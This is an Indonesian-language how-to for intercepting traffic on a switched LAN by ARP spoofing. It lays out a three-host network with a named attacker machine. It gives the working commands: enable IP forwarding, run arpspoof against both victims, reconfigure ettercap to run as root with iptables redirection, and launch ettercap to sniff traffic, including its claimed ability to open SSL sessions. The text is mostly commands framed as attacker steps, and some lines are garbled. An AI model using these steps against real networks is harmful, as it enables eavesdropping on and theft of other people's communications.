Untuk melakukan arpspoofing pada switch.
Set IP forwarding
Set IP fowarding
echo 1 > /proc/sys/net/ipv4/ip_forward sysctl net.ipv4.ip_forward=1 sysctl -w net.inet.ip.forwarding=1
Asumsi Jaringa
192.168.0.106 --- SWITCH ---- 192.168.0.100
                   |
                   |
             192.168.0.3
komunikasi antara 192.168.0.100 dan 192.168.0.106 melalui swicth akibatnya 192.168.03 tidak bisa melihat packet yang lewat. Attacker 192.168.0.3 harus melakukan spoofing.
Aktifkan arpspoofing
attacker melakukan spoofing
arpspoof -t 192.168.0.100 192.168.0.106 & >/dev/null arpspoof -t 192.168.0.106 192.168.0.100 & >/dev/null
Bagian "& >/dev/nul" di ketik agar mudah menjalankan di satu terminal.
Untuk men-stop arpspoofing,
killall arpspoof
Siapkan ettercap
Edit
vi /etc/ettercap/etter.conf
Ubah
[privs] ec_uid = 65534 # nobody is the default ec_gid = 65534 # nobody is the default
jadi
[privs] # ec_uid = 65534 # nobody is the default # ec_gid = 65534 # nobody is the default ec_uid = 0 ec_gid = 0
Perhatikan juga
# if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Sadap dengan Ettercap
sadap komunikasi antara 2 mesin,
ettercap -G
yang menarik dari ettercap dia juga akan membuka komunikasi SSL yang terenkripsi.
Untuk menggunakan ettercap untuk sniffing, dapat menggunakan
ettercap -J
